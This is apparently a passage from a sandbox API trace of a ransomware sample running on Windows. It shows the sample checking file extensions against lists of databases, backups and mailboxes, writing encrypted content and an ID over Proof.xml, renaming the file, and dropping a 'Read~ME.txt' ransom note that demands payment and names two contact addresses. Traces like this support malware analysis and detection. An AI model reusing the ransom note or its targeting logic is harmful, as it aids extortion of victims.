	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".ACCDB") returned 0x0
	[0067.708] lstrlenW (lpString=".fdb") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".fdb") returned 0x0
	[0067.708] lstrlenW (lpString=".bak") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".bak") returned 0x0
	[0067.708] lstrlenW (lpString=".myd") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".myd") returned 0x0
	[0067.708] lstrlenW (lpString=".DTXS") returned 5
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DTXS") returned 0x0
	[0067.708] lstrlenW (lpString=".ckp") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".ckp") returned 0x0
	[0067.708] lstrlenW (lpString=".dbt") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dbt") returned 0x0
	[0067.708] lstrlenW (lpString=".db") returned 3
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".db") returned 0x0
	[0067.708] lstrlenW (lpString=".TXT") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".TXT") returned 0x0
	[0067.708] lstrlenW (lpString=".MDF") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".MDF") returned 0x0
	[0067.708] lstrlenW (lpString=".bdb") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".bdb") returned 0x0
	[0067.708] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0067.709] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0067.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d7e8
	[0067.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0067.709] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0067.710] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0067.710] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0067.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0067.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0067.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0067.710] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18770047551) returned 1
	[0067.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9560a150, dwHighDateTime=0x1d60e1e)) 
	[0067.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0067.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0067.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0067.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de70
	[0067.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0067.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de70 | out: hHeap=0x300000) returned 1
	[0067.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0067.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0067.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0067.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0067.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0067.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0067.711] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0067.711] GetLastError () returned 0x0
	[0067.711] SetLastError (dwErrCode=0x0) 
	[0067.712] GetLastError () returned 0x0
	[0067.712] SetLastError (dwErrCode=0x0) 
	[0067.712] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0067.712] GetLastError () returned 0x0
	[0067.712] SetLastError (dwErrCode=0x0) 
	[0067.712] GetLastError () returned 0x0
	[0067.712] SetLastError (dwErrCode=0x0) 
	[0067.712] GetLastError () returned 0x0
	[0067.712] SetLastError (dwErrCode=0x0) 
	[0067.712] GetLastError () returned 0x0
	[0067.712] SetLastError (dwErrCode=0x0) 
	[0067.712] GetLastError () returned 0x0
	[0067.712] SetLastError (dwErrCode=0x0) 
	[0067.712] GetLastError () returned 0x0
	[0067.712] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.713] GetLastError () returned 0x0
	[0067.713] SetLastError (dwErrCode=0x0) 
	[0067.714] GetLastError () returned 0x0
	[0067.714] SetLastError (dwErrCode=0x0) 
	[0067.714] GetLastError () returned 0x0
	[0067.714] SetLastError (dwErrCode=0x0) 
	[0067.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0067.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c04d0
	[0067.714] ReadFile (in: hFile=0x128, lpBuffer=0x3c04d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesRead=0x26dfec0*=0x5b1, lpOverlapped=0x0) returned 1
	[0067.726] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffa4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0067.726] WriteFile (in: hFile=0x128, lpBuffer=0x3c04d0*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesWritten=0x26dfec0*=0x5b1, lpOverlapped=0x0) returned 1
	[0067.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04d0 | out: hHeap=0x300000) returned 1
	[0067.726] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0067.726] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0067.726] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0067.726] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0067.726] CloseHandle (hObject=0x128) returned 1
	[0067.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0067.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.~~~~")) returned 1
	[0067.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0067.738] GetLastError () returned 0x0
	[0067.738] SetLastError (dwErrCode=0x0) 
	[0067.738] GetLastError () returned 0x0
	[0067.738] SetLastError (dwErrCode=0x0) 
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0067.738] RtlWakeConditionVariable () returned 0x365f70
	[0067.738] GetCurrentThreadId () returned 0x9cc
	[0067.738] GetCurrentThreadId () returned 0x9cc
	[0067.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faab0 | out: hHeap=0x300000) returned 1
	[0067.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dea8 | out: hHeap=0x300000) returned 1
	[0067.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0067.738] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0067.739] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0067.739] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0067.740] CloseHandle (hObject=0x128) returned 1
	[0067.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0067.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0067.740] RtlWakeConditionVariable () returned 0x365f70
	[0067.740] GetCurrentThreadId () returned 0x9cc
	[0067.740] GetCurrentThreadId () returned 0x9cc
	[0067.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0067.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fab68 | out: hHeap=0x300000) returned 1
	[0067.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dee0 | out: hHeap=0x300000) returned 1
	[0067.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0067.741] lstrlenW (lpString=".scr") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".scr") returned 0x0
	[0067.741] lstrlenW (lpString=".cmd") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".cmd") returned 0x0
	[0067.741] lstrlenW (lpString=".dll") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dll") returned 0x0
	[0067.741] lstrlenW (lpString=".bat") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".bat") returned 0x0
	[0067.741] lstrlenW (lpString=".cpl") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".cpl") returned 0x0
	[0067.741] lstrlenW (lpString=".sys") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".sys") returned 0x0
	[0067.741] lstrlenW (lpString=".msc") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".msc") returned 0x0
	[0067.741] lstrlenW (lpString=".com") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".com") returned 0x0
	[0067.741] lstrlenW (lpString=".lnk") returned 4
	[0067.741] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".lnk") returned 0x0
	[0067.741] lstrlenW (lpString=".msp") returned 4
	[0067.742] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".msp") returned 0x0
	[0067.742] lstrlenW (lpString=".pif") returned 4
	[0067.742] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".pif") returned 0x0
	[0067.742] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.742] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0067.742] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0067.742] lstrlenW (lpString=".sqb") returned 4
	[0067.742] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".sqb") returned 0x0
	[0067.742] lstrlenW (lpString=".ost") returned 4
	[0067.742] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".ost") returned 0x0
	[0067.742] lstrlenW (lpString=".txt") returned 4
	[0067.742] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".txt") returned 0x0
	[0067.742] lstrlenW (lpString=".mdt") returned 4
	[0067.742] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".mdt") returned 0x0
	[0067.742] lstrlenW (lpString=".BDB") returned 4
	[0067.742] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".BDB") returned 0x0
	[0067.743] lstrlenW (lpString=".eql") returned 4
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".eql") returned 0x0
	[0067.743] lstrlenW (lpString=".DBF") returned 4
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DBF") returned 0x0
	[0067.743] lstrlenW (lpString=".EQL") returned 4
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".EQL") returned 0x0
	[0067.743] lstrlenW (lpString=".FDB") returned 4
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".FDB") returned 0x0
	[0067.743] lstrlenW (lpString=".EDB") returned 4
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".EDB") returned 0x0
	[0067.743] lstrlenW (lpString=".DACPAC") returned 7
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DACPAC") returned 0x0
	[0067.743] lstrlenW (lpString=".VHD") returned 4
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".VHD") returned 0x0
	[0067.743] lstrlenW (lpString=".DBV") returned 4
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DBV") returned 0x0
	[0067.743] lstrlenW (lpString=".dacpac") returned 7
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dacpac") returned 0x0
	[0067.743] lstrlenW (lpString=".sdf") returned 4
	[0067.743] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".sdf") returned 0x0
	[0067.744] lstrlenW (lpString=".accdb") returned 6
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".accdb") returned 0x0
	[0067.744] lstrlenW (lpString=".DBX") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DBX") returned 0x0
	[0067.744] lstrlenW (lpString=".MDT") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".MDT") returned 0x0
	[0067.744] lstrlenW (lpString=".SQB") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".SQB") returned 0x0
	[0067.744] lstrlenW (lpString=".vhd") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".vhd") returned 0x0
	[0067.744] lstrlenW (lpString=".bac") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".bac") returned 0x0
	[0067.744] lstrlenW (lpString=".mdf") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".mdf") returned 0x0
	[0067.744] lstrlenW (lpString=".BAK") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".BAK") returned 0x0
	[0067.744] lstrlenW (lpString=".BAC") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".BAC") returned 0x0
	[0067.744] lstrlenW (lpString=".dbs") returned 4
	[0067.744] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dbs") returned 0x0
	[0067.745] lstrlenW (lpString=".vhdx") returned 5
	[0067.745] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".vhdx") returned 0x0
	[0067.745] lstrlenW (lpString=".NDF") returned 4
	[0067.745] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".NDF") returned 0x0
	[0067.922] lstrlenW (lpString=".dat") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dat") returned 0x0
	[0067.922] lstrlenW (lpString=".DBS") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DBS") returned 0x0
	[0067.922] lstrlenW (lpString=".CKP") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".CKP") returned 0x0
	[0067.922] lstrlenW (lpString=".edb") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".edb") returned 0x0
	[0067.922] lstrlenW (lpString=".PST") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".PST") returned 0x0
	[0067.922] lstrlenW (lpString=".dbf") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dbf") returned 0x0
	[0067.922] lstrlenW (lpString=".SQL") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".SQL") returned 0x0
	[0067.922] lstrlenW (lpString=".pst") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".pst") returned 0x0
	[0067.922] lstrlenW (lpString=".dbv") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dbv") returned 0x0
	[0067.922] lstrlenW (lpString=".SDF") returned 4
	[0067.922] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".SDF") returned 0x0
	[0067.922] lstrlenW (lpString=".dtxs") returned 5
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dtxs") returned 0x0
	[0067.923] lstrlenW (lpString=".db3") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".db3") returned 0x0
	[0067.923] lstrlenW (lpString=".OST") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".OST") returned 0x0
	[0067.923] lstrlenW (lpString=".dbx") returned 4
